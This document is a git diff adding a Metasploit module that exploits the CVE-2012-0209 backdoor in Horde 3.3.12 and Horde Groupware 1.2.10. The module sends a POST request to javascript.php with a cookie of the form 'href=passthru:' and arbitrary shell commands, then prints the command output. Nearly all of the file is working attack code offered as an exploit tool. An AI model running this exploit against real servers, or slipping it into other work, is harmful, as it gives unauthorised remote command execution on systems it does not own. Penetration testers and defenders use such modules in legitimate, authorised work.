diff --git a/modules/exploits/multi/http/horde_href_backdoor.rb b/modules/exploits/multi/http/horde_href_backdoor.rb
new file mode 100644
index 0000000000..56e32c037b
--- /dev/null
+++ b/modules/exploits/multi/http/horde_href_backdoor.rb
@@ -0,0 +1,102 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution',
+			'Description'    => %q{
+					This module exploits an arbitrary PHP code execution vulnerability introduced
+				as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10.
+			},
+			'Author'         => [
+				'Eric Romang',  # first public PoC
+				'jduck'         # Metasploit module
+			],
+			'License'        => MSF_LICENSE,
+			'References'     =>
+				[
+					[ 'CVE', '2012-0209'],
+					[ 'URL', 'http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155' ],
+					[ 'URL', 'http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/' ]
+				],
+			'Privileged'     => false,
+			'Payload'        =>
+				{
+					'BadChars' => "\x0a\x0d",
+					'DisableNops' => true,
+					'Space'       => 4096,
+					'Compat'      =>
+						{
+							'PayloadType' => 'cmd',
+						}
+				},
+			'Platform'       => [ 'unix', 'linux' ],
+			'Arch'           => ARCH_CMD,
+			'DefaultTarget'  => 0,
+			'Targets'        => [[ 'Automatic', { }]],
+			'DisclosureDate' => 'Februrary 13 2012'
+			))
+
+			register_options(
+				[
+					OptString.new('URI', [true, "Path to Horde installation", "/horde"]),
+					OptString.new('APP', [true, "App parameter required by javascript.php (must be active)", "horde"]),
+				], self.class)
+	end
+
+	def exploit
+		# Make sure the URI begins with a slash
+		uri = datastore['URI']
+		if uri[0,1] != '/'
+			uri = '/' + uri
+		end
+
+		# Make sure the URI ends without a slash, because it's already part of the URI
+		if uri[-1, 1] == '/'
+			uri = uri[0, uri.length-1]
+		end
+
+		function = "passthru"
+		key = Rex::Text.rand_text_alpha(6)
+		arguments = "echo #{key}`"+payload.raw+"`#{key}"
+
+		res = send_request_cgi({
+			'uri'     => uri + "/services/javascript.php",
+			'method'  => 'POST',
+			'ctype'   => 'application/x-www-form-urlencoded',
+			'data'    => "app="+datastore['APP']+"&file=open_calendar.js",
+			'headers' =>
+			{
+				'Cookie' => "href="+function+":"+arguments,
+				'Connection' => 'Close',
+			}
+		}) #default timeout, we don't care about the response
+
+		if (res)
+			print_status("The server returned: #{res.code} #{res.message}")
+		end
+
+		resp = res.body.split(key)
+		if resp and resp[1]
+			print_status(resp[1])
+		else
+			print_error("No response found")
+		end
+
+		handler
+	end
+
+end